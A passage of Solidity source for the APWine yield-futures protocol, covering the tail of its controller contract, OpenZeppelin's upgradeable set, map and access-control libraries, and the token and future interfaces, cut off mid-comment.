* @param _startingDelay the new delay (+-) to start the next period
*/
function setPeriodStartingDelay(uint256 _startingDelay) public {
require(hasRole(ADMIN_ROLE, msg.sender), "Caller is not an admin");
STARTING_DELAY = _startingDelay;
emit StartingDelaySet(_startingDelay);
}
/**
* @notice Set the next period switch timestamp for the future with corresponding duration
* @param _periodDuration the period duration
* @param _nextPeriodTimestamp the next period switch timestamp
*/
function setNextPeriodSwitchTimestamp(uint256 _periodDuration, uint256 _nextPeriodTimestamp) public {
require(hasRole(ADMIN_ROLE, msg.sender), "Caller is not allowed to set next period timestamp");
nextPeriodSwitchByDuration[_periodDuration] = _nextPeriodTimestamp;
emit NextPeriodSwitchSet(_periodDuration, _nextPeriodTimestamp);
}
/**
* @notice Set a new factor for the portion of the yield that is claimable when withdrawing funds during an ongoing period
* @param _periodDuration the duration of the periods
* @param _claimableYieldFactor the portion of the yield that is claimable
*/
function setUnlockClaimableFactor(uint256 _periodDuration, uint256 _claimableYieldFactor) public {
require(hasRole(ADMIN_ROLE, msg.sender), "Caller is not allowed to set the unlock yield factor");
unlockClaimableFactorByDuration[_periodDuration] = _claimableYieldFactor;
emit NewUnlockClaimableFactor(_periodDuration, _claimableYieldFactor);
}
/* User Methods */
/**
* @notice Register an amount of IBT from the sender to the corresponding future
* @param _future the address of the future to be registered to
* @param _amount the amount to register
*/
function register(address _future, uint256 _amount) public futureIsValid(_future) {
IFuture(_future).register(msg.sender, _amount);
require(ERC20(IFuture(_future).getIBTAddress()).transferFrom(msg.sender, _future, _amount), "invalid amount");
}
/**
* @notice Unregister an amount of IBT from the sender to the corresponding future
* @param _future the address of the future to be unregistered from
* @param _amount the amount to unregister
*/
function unregister(address _future, uint256 _amount) public futureIsValid(_future) {
IFuture(_future).unregister(msg.sender, _amount);
}
/**
* @notice Withdraw deposited funds from APWine
* @param _future the address of the future to withdraw the IBT from
* @param _amount the amount to withdraw
*/
function withdrawLockFunds(address _future, uint256 _amount) public futureIsValid(_future) {
IFuture(_future).withdrawLockFunds(msg.sender, _amount);
}
/**
* @notice Claim FYT of the msg.sender
* @param _future the future from which to claim the FYT
*/
function claimFYT(address _future) public futureIsValid(_future) {
IFuture(_future).claimFYT(msg.sender);
}
/**
* @notice Register the sender to the corresponding platformController
* @param _user the address of the user
* @param futuresAddresses the addresses of the futures to claim the FYT from
*/
function claimSelectedYield(address _user, address[] memory futuresAddresses) public {
for (uint256 i = 0; i < futuresAddresses.length; i++) {
require(registry.isRegisteredFuture(futuresAddresses[i]), "Incorrect future address");
IFuture(futuresAddresses[i]).claimFYT(_user);
}
}
/* User Getter */
/**
* @notice Get the list of futures from which a user can claim FYT
* @param _user the user to check
*/
function getFuturesWithClaimableFYT(address _user) external view returns (address[] memory) {
address[] memory selectedFutures = new address[](registry.futureCount());
uint8 index = 0;
for (uint256 i = 0; i < registry.futureCount(); i++) {
if (IFuture(registry.getFutureAt(i)).hasClaimableFYT(_user)) {
selectedFutures[i] = registry.getFutureAt(i);
index += 1;
}
}
return selectedFutures;
}
/* Getter */
/**
* @notice Getter for the registry address of the protocol
* @return the address of the protocol registry
*/
function getRegistryAddress() external view returns (address) {
return address(registry);
}
/**
* @notice Getter for the symbol of the APWine IBT of one future
* @param _ibtSymbol the IBT of the external protocol
* @param _platform the external protocol name
* @param _periodDuration the duration of the periods for the future
* @return the generated symbol of the APWine IBT
*/
function getFutureIBTSymbol(
string memory _ibtSymbol,
string memory _platform,
uint256 _periodDuration
) public view returns (string memory) {
return IAPWineNaming(registry.getNamingUtils()).genIBTSymbol(_ibtSymbol, _platform, _periodDuration);
}
/**
* @notice Getter for the symbol of the FYT of one future
* @param _apwibtSymbol the APWine IBT symbol for this future
* @param _periodDuration the duration of the periods for this future
* @return the generated symbol of the FYT
*/
function getFYTSymbol(string memory _apwibtSymbol, uint256 _periodDuration) public view returns (string memory) {
return
IAPWineNaming(registry.getNamingUtils()).genFYTSymbolFromIBT(
uint8(periodIndexByDurations[_periodDuration]),
_apwibtSymbol
);
}
/**
* @notice Getter for the period index depending on the period duration of the future
* @param _periodDuration the duration of the periods
* @return the period index
*/
function getPeriodIndex(uint256 _periodDuration) public view returns (uint256) {
return periodIndexByDurations[_periodDuration];
}
/**
* @notice Getter for the beginning timestamp of the next period for the futures with a defined period duration
* @param _periodDuration the duration of the periods
* @return the timestamp of the beginning of the next period
*/
function getNextPeriodStart(uint256 _periodDuration) public view returns (uint256) {
return nextPeriodSwitchByDuration[_periodDuration];
}
/**
* @notice Getter for the factor of claimable yield when unlocking
* @param _periodDuration the duration of the periods
* @return the factor of the claimable yield of the last period
*/
function getUnlockYieldFactor(uint256 _periodDuration) public view returns (uint256) {
return unlockClaimableFactorByDuration[_periodDuration];
}
/**
* @notice Getter for the list of future durations registered in the contract
* @return the list of future durations
*/
function getDurations() public view returns (uint256[] memory) {
uint256[] memory durationsList = new uint256[](durations.length());
for (uint256 i = 0; i < durations.length(); i++) {
durationsList[i] = durations.at(i);
}
return durationsList;
}
/**
* @notice Getter for the futures by period duration
* @param _periodDuration the period duration of the futures to return
*/
function getFuturesWithDuration(uint256 _periodDuration) public view returns (address[] memory) {
uint256 listLength = futuresByDuration[_periodDuration].length();
address[] memory filteredFutures = new address[](listLength);
for (uint256 i = 0; i < listLength; i++) {
filteredFutures[i] = futuresByDuration[_periodDuration].at(i);
}
return filteredFutures;
}
/* Future admin methods */
/**
* @notice Register a newly created future in the registry
* @param _newFuture the address of the new future
*/
function registerNewFuture(address _newFuture) public {
require(
hasRole(ADMIN_ROLE, msg.sender) || registry.isRegisteredFutureFactory(msg.sender),
"Caller cannot register a future"
);
registry.addFuture(_newFuture);
uint256 futureDuration = IFuture(_newFuture).PERIOD_DURATION();
if (!durations.contains(futureDuration)) durations.add(futureDuration);
futuresByDuration[futureDuration].add(_newFuture);
emit FutureRegistered(_newFuture);
}
/**
* @notice Unregister a future from the registry
* @param _future the address of the future to unregister
*/
function unregisterFuture(address _future) public {
require(hasRole(ADMIN_ROLE, msg.sender), "Caller is not an admin");
registry.removeFuture(_future);
uint256 futureDuration = IFuture(_future).PERIOD_DURATION();
if (!durations.contains(futureDuration)) durations.remove(futureDuration);
futuresByDuration[futureDuration].remove(_future);
emit FutureUnregistered(_future);
}
/**
* @notice Start all futures that have a defined period duration to synchronize them
* @param _periodDuration the period duration of the futures to start
*/
function startFuturesByPeriodDuration(uint256 _periodDuration) public {
for (uint256 i = 0; i < futuresByDuration[_periodDuration].length(); i++) {
if (!pausedFutures.contains(futuresByDuration[_periodDuration].at(i))) {
IFuture(futuresByDuration[_periodDuration].at(i)).startNewPeriod();
}
}
nextPeriodSwitchByDuration[_periodDuration] = nextPeriodSwitchByDuration[_periodDuration].add(_periodDuration);
periodIndexByDurations[_periodDuration] = periodIndexByDurations[_periodDuration].add(1);
}
/* Security functions */
/**
* @notice Interrupt a future avoiding news registrations
* @param _future the address of the future to pause
* @dev should only be called in extraordinary situations by the admin of the contract
*/
function pauseFuture(address _future) public {
require(hasRole(ADMIN_ROLE, msg.sender), "Caller is not an admin");
IFuture(_future).pausePeriods();
pausedFutures.add(_future);
}
/**
* @notice Resume a future that has been paused
* @param _future the address of the future to resume
* @dev should only be called in extraordinary situations by the admin of the contract
*/
function resumeFuture(address _future) public {
require(hasRole(ADMIN_ROLE, msg.sender), "Caller is not an admin");
IFuture(_future).resumePeriods();
pausedFutures.remove(_future);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSetUpgradeable {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableMap for EnumerableMap.UintToAddressMap;
*
* // Declare a set state variable
* EnumerableMap.UintToAddressMap private myMap;
* }
* ```
*
* As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are
* supported.
*/
library EnumerableMapUpgradeable {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint256ToAddressMap) are just wrappers around
// the underlying Map.
// This means that we can only create new EnumerableMaps for types that fit
// in bytes32.
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
// Storage of map keys and values
MapEntry[] _entries;
// Position of the entry defined by a key in the `entries` array, plus 1
// because index 0 means a key is not in the map.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) { // Equivalent to !contains(map, key)
map._entries.push(MapEntry({ _key: key, _value: value }));
// The entry is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
/**
* @dev Removes a key-value pair from a map. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function _remove(Map storage map, bytes32 key) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) { // Equivalent to contains(map, key)
// To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one
// in the array, and then remove the last entry (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
// When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
MapEntry storage lastEntry = map._entries[lastIndex];
// Move the last entry to the index where the entry to delete is
map._entries[toDeleteIndex] = lastEntry;
// Update the index for the moved entry
map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved entry was stored
map._entries.pop();
// Delete the index for the deleted slot
delete map._indexes[key];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._indexes[key] != 0;
}
/**
* @dev Returns the number of key-value pairs in the map. O(1).
*/
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
/**
* @dev Returns the key-value pair stored at position `index` in the map. O(1).
*
* Note that there are no guarantees on the ordering of entries inside the
* array, and it may change when more entries are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
return _get(map, key, "EnumerableMap: nonexistent key");
}
/**
* @dev Same as {_get}, with a custom error message when `key` is not in the map.
*/
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
// UintToAddressMap
struct UintToAddressMap {
Map _inner;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
/**
* @dev Returns the number of elements in the map. O(1).
*/
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
/**
* @dev Returns the element stored at position `index` in the set. O(1).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint256(value)));
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint256(_get(map._inner, bytes32(key))));
}
/**
* @dev Same as {get}, with a custom error message when `key` is not in the map.
*/
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
return address(uint256(_get(map._inner, bytes32(key), errorMessage)));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/EnumerableSetUpgradeable.sol";
import "../utils/AddressUpgradeable.sol";
import "../GSN/ContextUpgradeable.sol";
import "../proxy/Initializable.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable {
function __AccessControl_init() internal initializer {
__Context_init_unchained();
__AccessControl_init_unchained();
}
function __AccessControl_init_unchained() internal initializer {
}
using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet;
using AddressUpgradeable for address;
struct RoleData {
EnumerableSetUpgradeable.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
uint256[49] private __gap;
}
pragma solidity 0.7.6;
import "contracts/interfaces/ERC20.sol";
interface IFutureYieldToken is ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) external;
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) external;
/**
* @dev Creates `amount` new tokens for `to`.
*
* See {ERC20-_mint}.
*
* Requirements:
*
* - the caller must have the `MINTER_ROLE`.
*/
function mint(address to, uint256 amount) external;
}
pragma solidity 0.7.6;
interface IFuture {
struct Registration {
uint256 startIndex;
uint256 scaledBalance;
}
/**
* @notice Getter for the PAUSE future parameter
* @return true if new periods are paused, false otherwise
*/
function PAUSED() external view returns (bool);
/**
* @notice Getter for the PERIOD future parameter
* @return returns the period duration of the future
*/
function PERIOD_DURATION() external view returns (uint256);
/**
* @notice Getter for the PLATFORM_NAME future parameter
* @return returns the platform of the future
*/
function PLATFORM_NAME() external view returns (uint256);
/**
* @notice Initializer
* @param _controller the address of the controller
* @param _ibt the address of the corresponding IBT
* @param _periodDuration the length of the period (in days)
* @param _platformName the name of the platform and tools
* @param _deployerAddress the future deployer address
* @param _admin the address of the ACR admin
*/
function initialize(
address _controller,
address _ibt,
uint256 _periodDuration,
string memory _platformName,
address _deployerAddress,
address _admin
) external;
/**
* @notice Set future wallet address
* @param _futureVault the address of the new future wallet
* @dev needs corresponding permissions for sender
*/
function setFutureVault(address _futureVault) external;
/**
* @notice Set futureWallet address
* @param _futureWallet the address of the new futureWallet
* @dev needs corresponding permissions for sender
*/
function setFutureWallet(address _futureWallet) external;
/**
* @notice Set liquidity gauge address
* @param _liquidityGauge the address of the new liquidity gauge
* @dev needs corresponding permissions for sender
*/
function setLiquidityGauge(address _liquidityGauge) external;
/**
* @notice Set apwibt address
* @param _apwibt the address of the new apwibt
* @dev used only for exceptional purpose
*/
function setAPWIBT(address _apwibt) external;
/**
* @notice Sender registers an amount of IBT for the next period
* @param _user address to register to the future
* @param _amount amount of IBT to be registered
* @dev called by the controller only
*/
function register(address _user, uint256 _amount) external;
/**
* @notice Sender unregisters an amount of IBT for the next period
* @param _user user addresss
* @param _amount amount of IBT to be unregistered
*/
function unregister(address _user, uint256 _amount) external;
/**
* @notice Sender unlocks the locked funds corresponding to their apwIBT holding
* @param _user the user address
* @param _amount amount of funds to unlocked
* @dev will require a transfer of FYT of the ongoing period corresponding to the funds unlocked
*/
function withdrawLockFunds(address _user, uint256 _amount) external;
/**
* @notice Send the user their owed FYT (and apwIBT if there are some claimable)
* @param _user address of the user to send the FYT to
*/
function claimFYT(address _user) external;
/**
* @notice Start a new period
* @dev needs corresponding permissions for sender
*/
function startNewPeriod() external;
/**
* @notice Check if a user has unclaimed FYT
* @param _user the user to check
* @return true if the user can claim some FYT, false otherwise
*/
function hasClaimableFYT(address _user) external view returns (bool);
/**
* @notice Check if a user has unclaimed apwIBT
* @param _user the user to check
* @return true if the user can claim some apwIBT, false otherwise
*/
function hasClaimableAPWIBT(address _user) external view returns (bool);
/**
* @notice Getter for user registered amount
* @param _user user to return the registered funds of
* @return the registered amount, 0 if no registrations
* @dev the registration can be older than the next period
*/
function getRegisteredAmount(address _user) external view returns (uint256);
/**
* @notice Getter for user IBT amount that is unlockable
* @param _user user to unlock the IBT from
* @return the amount of IBT the user can unlock
*/
function getUnlockableFunds(address _user) external view returns (uint256);
/**
* @notice Getter for yield that is generated by the user funds during the current period
* @param _user user to check the unrealized yield of
* @return the yield (amount of IBT) currently generated by the locked funds of the user
*/
function getUnrealisedYield(address _user) external view returns (uint256);
/**
* @notice Getter for the amount of apwIBT that the user can claim
* @param _user the user to check the claimable apwIBT of
* @return the amount of apwIBT claimable by the user
*/
function getClaimableAPWIBT(address _user) external view returns (uint256);
/**
* @notice Getter for the amount of FYT that the user can claim for a certain period
* @param _user user to check the check the claimable FYT of
* @param _periodID period ID to check the claimable FYT of
* @return the amount of FYT claimable by the user for this period ID
*/
function getClaimableFYTForPeriod(address _user, uint256 _periodID) external view returns (uint256);
/**
* @notice Getter for next period index
* @return next period index
* @dev index starts at 1
*/
function getNextPeriodIndex() external view returns (uint256);
/**
* @notice Getter for controller address
* @return the controller address
*/
function getControllerAddress() external view returns (address);
/**
* @notice Getter for future wallet address
* @return future wallet address
*/
function getFutureVaultAddress() external view returns (address);
/**
* @notice Getter for futureWallet address
* @return futureWallet address
*/
function getFutureWalletAddress() external view returns (address);
/**
* @notice Getter for liquidity gauge address
* @return liquidity gauge address
*/
function getLiquidityGaugeAddress() external view returns (address);
/**
* @notice Getter for the IBT address
* @return IBT address
*/
function getIBTAddress() external view returns (address);
/**
* @notice Getter for future apwIBT address
* @return apwIBT address
*/
function getAPWIBTAddress() external view returns (address);
/**
* @notice Getter for FYT address of a particular period
* @param _periodIndex period index
* @return FYT address
*/
function getFYTofPeriod(uint256 _periodIndex) external view returns (address);
/* Admin functions*/
/**
* @notice Pause registrations and the creation of new periods
